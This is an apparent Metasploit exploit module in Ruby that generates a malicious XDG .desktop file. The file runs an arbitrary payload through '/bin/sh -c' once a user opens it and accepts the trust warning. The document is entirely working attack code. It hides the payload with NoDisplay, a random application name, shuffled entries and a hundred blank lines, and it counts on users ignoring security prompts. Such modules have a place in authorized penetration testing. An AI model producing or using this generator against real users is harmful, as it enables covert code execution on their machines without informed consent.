📄 Malicious XDG Desktop File

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = GreatRanking
    
      include Msf::Exploit::FILEFORMAT
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Malicious XDG Desktop File',
            'Description' => %q{
              This module creates a malicious XDG Desktop (.desktop) file.
    
              On most modern systems, desktop files are not trusted by default.
              The user will receive a warning prompt that the file is not trusted
              when running the file, but may choose to run the file anyway.
    
              The default file manager applications in some desktop environments
              may impose more strict execution requirements by prompting the user
              to set the file as executable and/or marking the file as trusted
              before the file can be executed.
            },
            'Author' => [
              'bcoles'
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
              ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/'],
              ['URL', 'https://specifications.freedesktop.org/desktop-entry-spec/latest/exec-variables.html'],
              ['URL', 'https://wiki.archlinux.org/title/Desktop_entries']
            ],
            'Platform' => %w[linux unix solaris freebsd],
            'Arch' => [ARCH_CMD],
            'Targets' => [
              [ 'Automatic', {} ]
            ],
            'DefaultTarget' => 0,
            'Privileged' => false,
            'DisclosureDate' => '2007-02-06',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [SCREEN_EFFECTS]
            }
          )
        )
    
        register_options([
          OptString.new('FILENAME', [true, 'The desktop file name.', 'msf.desktop']),
          OptString.new('APPLICATION_NAME', [false, 'The application name. Some file managers will display this name instead of the file name. (default is random)', '']),
        ])
    
        register_advanced_options([
          OptInt.new('PrependNewLines', [false, 'Prepend new lines before the payload.', 100]),
        ])
      end
    
      def application_name
        datastore['APPLICATION_NAME'].blank? ? rand_text_alpha(6..12) : datastore['APPLICATION_NAME']
      end
    
      def exploit
        values = [
          'Type=Application',
          "Name=#{application_name}",
          # 'Hidden=true', # This property is not supported by old systems, which prevents execution
          'NoDisplay=true',
          'Terminal=false'
        ]
        desktop = "[Desktop Entry]\n"
        desktop << values.shuffle.join("\n")
        desktop << "\n"
        desktop << "\n" * datastore['PrependNewLines']
    
        escaped_payload = payload.encoded.gsub('\\', '\\\\\\').gsub('"', '\\"')
        desktop << "Exec=/bin/sh -c \"#{escaped_payload}\""
    
        file_create(desktop)
      end
    end